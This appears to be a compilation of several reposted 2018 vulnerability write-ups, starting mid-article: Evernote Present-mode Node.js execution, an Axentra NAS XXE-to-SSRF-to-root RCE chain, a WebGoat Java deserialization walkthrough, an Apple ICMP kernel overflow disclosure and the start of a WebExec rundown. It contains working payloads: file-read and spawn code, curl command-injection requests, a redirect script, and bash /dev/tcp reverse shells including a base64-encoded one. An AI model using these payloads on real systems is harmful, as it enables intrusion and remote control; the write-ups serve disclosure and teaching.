After failing many times,I decided to browse all files under path C:\\Program Files(x86)\Evernote\Evernote\.I find Evernote has a NodeWebKit in C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit and Present mode will use it.

Another good news is we can execute Nodejs code by stored XSS under Present mode.

0x03 Read Local File & Command Execute

I try to use require('child_process').exec,but fail: Module name "child_process" has not been loaded yet for context.So I need a new way.

Very Lucky,I found this article: How we exploited a remote code execution vulnerability in math.js

I read local file successfully.

//read local file javascript code
alert("Try to read C:\\\\Windows\\win.ini");
try{
  var buffer = new Buffer(8192);
  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 
  alert(buffer);
}
catch(err){
  alert(err);
}

But in NodeWebKit environment,It don’t have Object and Array(I don’t know why).So I try to use spawn_sync(I get env from window.process.env):

// command executed
try{
  spawn_sync = process.binding('spawn_sync');
  envPairs = [];
  for (var key in window.process.env) {
    envPairs.push(key + '=' + window.process.env[key]);
  }
  args = [];

  const options = {
    file: 'C:\\\\Windows\\system32\\calc.exe',
    args: args,
    envPairs: envPairs,
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true } 
    ]
  };
  spawn_sync.spawn(options);
}
catch(err){
  alert(err);
}

0x04 Use Share Function

Now,I can read my computer’s file and execute calc.exe.I need to prove that this vulnerability can affect other people. I signed up for a new account *****n4n@gmail.com and shared this note with the new account.

*****n4n@gmail.com can receive some message in Work Chat:

if *****n4n@gmail.com decide to open it and use the Present mode,the Nodejs code will executed.

0x05 Report Timeline

2018/09/27: Find Read Local File and Command Execute Vulnerabilities and reported to security@evernote.com
2018/09/27: Evernote Confirm vulnerabilities
2018/10/15: Evernote fix the vulnerabilities in Evernote For Windows 6.16.1 beta and add my name to Hall of Fame
2018/10/19: request CVE ID:CVE-2018-18524
2018/11/05: After Evernote For Windows 6.16.4 released, Public disclosure

 

zero-day RCE crafted from a tricky XXE, affecting millions of users on NetGear Stora, SeaGate Home, & Medion LifeCloud NAS

( Original text by Paulos Yibelo )

L,DR; not a while ago, right after hearing California is raising its eyebrows on internet-connected device security, Daniel Eshetu and I were exploring the current security state of popular Network Attached Storage (NAS) devices. The California Consumer Privacy ACT,which influenced such measures requires manufacturers to have hardened and above-average enterprise security, enforcing much interesting and unusual care for devices; mainly the so called internet-connected “IoT” devices. In my opinion it should be mandatory to have such security standards for devices that spread so rapidly, especially if they are are mandated correctly and put manufactures on the spot for not caring.

So while dissecting the firmware of the first NAS, it became clear we weren’t dealing with one of those easy-to-compromise kumbaya codebases. Axentra had clean code, no obvious backdoors and even had proper security measures in case something should go wrong. Looking online, ~2 million online NAS can be found. Interesting target, well-spread, good codebase. Our research was supported by the privacy advocate WizCase.

This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.

About Axentra.

Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It’s used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.

Firmware Analysis.  

After extracting the firmware using binwalk, the backend source were located in /var/www/html/with the webroot in /var/www/html/html. The main handler for the web interface ishomebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn’t take long.

Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line ‘register_globals=on’, this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.

As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in/var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at/www/html/classes/REST/services/aggregator in the filesystem and/api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.

The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn’t bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).

JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false//This shows the service does not require authentication.
line 14: private $serviceName = ‘aggregator’; //the service name..

line 1718:
if (( count( $URIArray ) == 1 && $URIArray[0] == ‘xml’ )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( ‘XMLAggregator’ ); // Load a resource class XMLAggregator

The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

classes/REST/AxAbstractRESTService.php

line 2530:
function loadResourceClass($resourceName) {
$resourceClassName = ‘Ax’ . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) .‘RESTResource’;
require_once( REST_SERVICES_DIR . $this->serviceName . ‘/’ . $resourceClassName .‘.php’ );
return $resourceClassName;
}
}

The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let’s take a look at the code.

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
if (( ( ( $requestBody == » || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) ||!$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != ‘requests’)) {
AxRecoverableErrorException;
throw new ( null, 3 );
}

Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called

libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.

curl command with output:

Command:

curl kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/XXE_CHECK»> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’http://axentra.local/api/2.0/rest/aggregator/xml

Output:

<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

which produced the following on out listening server:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#

Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don’t work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.

Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.

The requests to this daemon are sent using xml format and the file is located in/var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequestto send the requests. The systemProxyRequest is located in the same file and the code is given below.

/var/www/html/classes/AxServerProxy.php:

line 15641688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = ») {
$Proc = true;
$host = ‘127.0.0.1’;
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( ‘Could not connect to sp server’, 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( ‘1.0’ );
$root = $doc->createElement( ‘proxy_request’ );
$cmdNode = $doc->createElement( ‘command_name’ );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( ‘operation_name’ );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );

if ($reqData[0] == ‘<‘) {
if (substr( $reqData, 0, 5 ) == ‘<?xml’) {
$reqData = preg_replace( ‘/<\?xml.*?\?>/’, », $reqData );
}

DOMDocument;
$reqDoc = new (  );
$reqData = str_replace( », », $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML(  ) . » );
}

$Resp = »;
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );

if ($info[‘timed_out’]) {
return array( ‘return_code’ => ‘FAILURE’, ‘description’ => ‘System Proxy Timeout’, ‘error_code’ => 4, ‘return_message’ => », ‘return_value’ => » );
}
}

As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at/sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.

in function sub_A810:

This function receives the data from the socket as an argument (a2) and parses it.

JUICE B:

signed int __fastcall sub_A810(int a1, const char **a2) line 52:

v10 = strstr(*v3, «<?xml version=\»1.0\»?>»); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)

The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons «feature» to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.

Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages fromAxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one’s among you can explore the daemon using the hints we gave above.

curl command and response:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>BOGUS_DEVICE</parameter></proxy_request>’ http://127.0.0.1:2000/
*   Trying 127.0.0.1…
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

strace command and output

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2511] +++ exited with 0 +++
[pid  2510] <… execve resumed> )      = 0
[pid  2513] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual»], 0x62c67f10 /* 22 vars */ <unfinished …>
[pid  2514] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2513] execve(«/usr/lib/spd/scripts/usb/usbremoveall», [«/usr/lib/spd/scripts/usb/usbremoveall», «/dev/BOGUS_DEVICE», «manual»], 0x62a65800 /* 22 vars */ <unfinished …>
[pid  2515] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/sh», [«sh», «-c», «grep /dev/BOGUS_DEVICE /etc/mtab»], 0x63837f80 /* 22 vars */ <unfinished …>
[pid  2518] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/grep», [«grep», «/dev/BOGUS_DEVICE», «/etc/mtab»], 0x64894000 /* 22 vars */ <unfinished …>
[pid  2519] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} —
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} —
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} —
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.

curl command and output:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>`echo pwnEd`</parameter></proxy_request>’ http://127.0.0.1:2000/

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

Strace output:

[pid  2550] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2551] +++ exited with 0 +++
[pid  2550] <… execve resumed> )      = 0
[pid  2553] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual»], 0x6291cf10 /* 22 vars */ <unfinished …>

If you take a close look of the output, it can be seen that «echo pwnEd» command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>dev_`id>/tmp/pwned`</parameter></proxy_request>’ http://127.0.0.1:2000/

Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.

redir.php:

<?php
if(isset($_GET[‘red’]))
{
header(‘Location: http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»‘); //302 Redirect

}
?>

Then we ran this on our server the commands we used and the final

output is given below.

curl command and output:

curl -kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/redir.php?red=1″> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’ http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/…
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1

As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»

The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.

curl command and output:

curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)

Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. We will post the video and the exploit code soon.

Timeline

This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple critical root RCE vulnerabilities that ultimately impacted millions of devices from western countries were published on our research published on WizCase blog here. Unfortunately, Axentra, the affected devices, and even WD, chose silence. Some have responded saying there will NOT BE any patches for the vulnerabilities affecting millions!

This is where, soon in the future, the enforced involvement of laws like The California Consumer Privacy ACT can come to play by holding manufactures responsible for their actions, in this case, at-least regarding patching!

Java Deserialization — From Discovery to Reverse Shell on Limited Environments

( Original text by By Ahmed Sherif & Francesco Soncina )

n this article, we are going to show you our journey of exploiting the Insecure Deserialization vulnerability and we will take WebGoat 8 deserialization challenge (deployed on Docker) as an example. The challenge can be solved by just executing sleepfor 5 seconds. However, we are going to move further for fun and try to get a reverse shell.


Introduction

The Java deserialization issue has been known in the security community for a few years. In 2015, two security researchers Chris Frohoff and Gabriel Lawrence gave a talk Marshalling Pickles in AppSecCali. Additionally, they released their payload generator tool called ysoserial.

Object serialization mainly allows developers to convert in-memory objects to binary and textual data formats for storage or transfer. However, deserializing objects from untrusted data can cause an attacker to achieve remote code execution.


Discovery

As mentioned in the challenge, the vulnerable page takes a serialized Java object in Base64 format from the user input and it blindly deserializes it. We will exploit this vulnerability by providing a serialized object that triggers a Property Oriented Programming Chain (POP Chain) to achieve Remote Command Execution during the deserialization.

The WebGoat 8 Insecure Deserialization challenge

By firing up Burp and installing a plugin called Java-Deserialization-Scanner. The plugin is consisting of 2 features: one of them is for scanning and the other one is for generating the exploit based on the ysoserial tool.

Java Deserialization Scanner Plugin for Burp Suite

After scanning the remote endpoint the Burp plugin will report:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

Sounds great!


Exploitation

Let’s move to the next step and go to the exploitation tab to achieve arbitrary command execution.

Huh?! It seems an issue with ysoserial. Let’s dig deeper into the issue and move to the console to see what is the issue exactly.

Error in payload generation

By looking at ysoserial, we see that two different POP chains are available for Hibernate. By using those payloads we figure out that none of them is being executed on the target system.

Available payloads in ysoserial

How the plugin generated this payload to trigger the sleep command then?

We decided to look at the source code of the plugin on the following link:

We noticed that the payload is hard-coded in the plugin’s source code, so we need to find a way to generate the same payload in order to get it working.

The payload is hard-coded.

Based on some research and help, we figured out that we need to modify the current version of ysoserial in order to get our payloads working.

We downloaded the source code of ysoserial and decided to recompile it using Hibernate 5. In order to successfully build ysoserial with Hibernate 5 we need to add the javax.el package to the pom.xml file.

We also have sent out a Pull Request to the original project in order to fix the build when the hibernate5 profile is selected.

Updated pom.xml

We can proceed to rebuild ysoserial with the following command:

mvn clean package -DskipTests -Dhibernate5

and then we can generate the payload with:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
Working payload for Hibernate 5

We can verify that our command was executed by accessing the docker container with the following command:

docker exec -it <CONTAINER_ID> /bin/bash

As we can see our payload was successfully executed on the machine!

The exploit works!

We proceed to enumerate the binaries on the target machine.

webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$

Only Perl and Bash are available. Let’s try to craft a payload to send us a reverse shell.

We looked at some one-liners reverse shells on Pentest Monkeys:

And decided to try the Bash reverse shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

However, as you might know, that java.lang.Runtime.exec()has some limitations. The shell operators such as redirection or piping are not supported.

We decided to move forward with another option, which is a reverse shell written in Java. We are going to modify the source code on the Gadgets.java to generate a reverse shell payload.

The following path is the one which we need to modify:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.

The following Java reverse shell is mentioned on Pentest Monkeys which still didn’t work:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

After some play around with the code we ended up with the following:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

Let’s rebuild ysoserial again and test the generated payload.

Generating the weaponized payload with a Bash reverse shell

And.. we got a reverse shell back!

Great!


Generalizing the payload generation process

During our research we found out this encoder as well that does the job for us ‘http://jackson.thuraisamy.me/runtime-exec-payloads.html

By providing the following Bash reverse shell:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

the generated payload will be:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

Awesome! This encoder can also be useful for bypassing WAFs! 🚀



Special thanks to Federico Dotta and Mahmoud ElMorabea!

Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code (CVE-2018-4407)

( Original text )

This post is about a heap buffer overflow vulnerability which I found in Apple’s XNU operating system kernel. I have written a proof-of-concept exploit which can reboot any Mac or iOS device on the same network, without any user interaction. Apple have classified this vulnerability as a remote code execution vulnerability in the kernel, because it may be possible to exploit the buffer overflow to execute arbitrary code in the kernel.

The following operating system versions and devices are vulnerable:

  • Apple iOS 11 and earlier: all devices (upgrade to iOS 12)
  • Apple macOS High Sierra, up to and including 10.13.6: all devices (patched in security update 2018-001)
  • Apple macOS Sierra, up to and including 10.12.6: all devices (patched in security update 2018-005)
  • Apple OS X El Capitan and earlier: all devices

I reported the vulnerability in time for Apple to patch the vulnerability for iOS 12 (released on September 17) and macOS Mojave (released on September 24). Both patches were announced retrospectively on October 30.

Severity and Mitigation

The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. To trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required. The attacker only needs to be connected to the same network as the target device. For example, if you are using the free WiFi in a coffee shop then an attacker can join the same WiFi network and send a malicious packet to your device. (If an attacker is on the same network as you, it is easy for them to discover your device’s IP address using nmap.) To make matters worse, the vulnerability is in such a fundamental part of the networking code that anti-virus software will not protect you: I tested the vulnerability on a Mac running McAfee® Endpoint Security for Mac and it made no difference. It also doesn’t matter what software you are running on the device — the malicious packet will still trigger the vulnerability even if you don’t have any ports open.

Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device. I have not attempted to write an exploit which is capable of doing this. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.

I am only aware of two mitigations against this vulnerability:

  1. Enabling stealth mode in the macOS firewall prevents the attack from working. Kudos to my colleague Henti Smith for discovering this, because this is an obscure system setting which is not enabled by default. As far as I’m aware, stealth mode does not exist on iOS devices.
  2. Do not use public WiFi networks. The attacker needs to be on the same network as the target device. It is not usually possible to send the malicious packet across the internet. For example, I wrote a fake web server which sends back a malicious reply when the target device tries to load a webpage. In my experiments, the malicious packet never arrived, except when the web server was on the same network as the target device.

Proof-of-concept exploit

I have written a proof-of-concept exploit which triggers the vulnerability. To give Apple’s users time to upgrade, I will not publish the source code for the exploit PoC immediately. However, I have made a short video which shows the PoC in action, crashing all the Apple devices on the local network.

The vulnerability

The bug is a buffer overflow in this line of code (bsd/netinet/ip_icmp.c:339):

m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

This code is in the function icmp_error. According to the comment, the purpose of this function is to «Generate an error packet of type error in response to bad packet ip». It uses the ICMP protocol to send out the error message. The header of the packet that caused the error is included in the ICMP message, so the purpose of the call to m_copydata on line 339 is to copy the header of the bad packet into the ICMP message. The problem is that the header might be too big for the destination buffer. The destination buffer is an mbufmbuf is a datatype which is used to store both incoming and outgoing network packets. In this code, n is an incoming packet (containing untrusted data) and m is an outgoing ICMP packet. As we will see shortly, icp is a pointer into mm is allocated on line 294 or line 296:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

Slightly further down, on line 314mtod is used to get m‘s data pointer:

icp = mtod(m, struct icmp *);

mtod is just macro, so this line of code does not check that the mbuf is large enough to hold an icmp struct. Furthermore, the data is not copied to icp, but to &icp->icmp_ip, which is at an offset of +8 bytes from icp.

I do not have the necessary tools to be able to step through the XNU kernel in a debugger, so I am actually a little unsure about the exact allocation size of the mbuf. Based on what I see in the source code, I think that m_gethdr creates an mbuf that can hold 88 bytes, but I am less sure about m_getcl. Based on practical experiments, I have found that a buffer overflow is triggered when icmplen >= 84.

At this time, I will not say any more about how the exploit works. I want to give Apple users a chance to upgrade their devices first. However, in the relatively near future I will publish the source code for the exploit PoC in our SecurityExploits repository.

Finding the vulnerability with QL

I found this vulnerability by doing variant analysis on the bug that caused the buffer overflow vulnerability in the packet-mangler. That vulnerability was caused by a call to mbuf_copydata with a user-controlled size argument. So I wrote a simple query to look for similar bugs:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

This is a simple taint-tracking query which looks for dataflow from m_mtod to the size of argument of a «copydata» function. The function named m_mtod returns the data pointer of an mbuf, so it is quite likely that it will return untrusted data. It is what the mtod macro expands to. Obviously m_mtod is just one of many sources of untrusted data in the XNU kernel, but I have not included any other sources to keep the query as simple as possible. This query returns 9 results, the first of which is the vulnerability in icmp_error. I believe the other 8 results are false positives, but the code is sufficiently complicated that I do consider them to be bad query results.

Try QL on XNU

Unlike most other open source projects, XNU is not available to query on LGTM. This is because LGTM uses Linux workers to build projects, but XNU can only be built on a Mac. Even on a Mac, XNU is highly non-trivial to build. I would not have been able to do it if I had not found this incredibly useful blog post by Jeremy Andrus. Using Jeremy Andrus’s instructions and scripts, I have manually built snapshots for the three most recent published versions of XNU. You can download the snapshots from these links: 10.13.410.13.510.13.6. Unfortunately, Apple have not yet released the source code for 10.14 (Mojave / iOS 12), so I cannot create a QL snapshot for running queries against it yet. To run queries on these QL snapshots, you will need to download QL for Eclipse. Instructions on how to use QL for Eclipse can be found here.

Timeline

  • 2018-08-09: Privately disclosed to product-security@apple.com. Proof-of-concept exploit included.
  • 2018-08-09: Report acknowledged by product-security@apple.com.
  • 2018-08-20: product-security@apple.com asked me to send them the exact macOS version number and a panic log.
  • 2018-08-20: Returned the requested information to product-security@apple.com. Also sent them a slightly improved version of the exploit PoC.
  • 2018-08-22: product-security@apple.com confirmed that the issue is fixed in the betas of macOS Mojave and iOS 12. However, they also said that they are «investigating addressing this issue on additional platforms» and that they will not disclose the issue until November 2018.
  • 2018-09-17: iOS 12 released by Apple. The vulnerability was fixed.
  • 2018-09-24: macOS Mojave released by Apple. The vulnerability was fixed.
  • 2018-10-30: Vulnerabilities disclosed.

"Send it back"

Credits

  • «I am Error». Screenshot from Zelda II: The Adventure of Link. The screenshot copyright is believed to belong to Nintendo. Image downloaded from wikipedia.
  • «Send it back». By Edward Backhouse.

Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we’ve dubbed «WebExec».

Картинки по запросу WebExecThe summary is: a flaw in WebEx’s WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That’s right: this client-side application that doesn’t listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it’s patched.

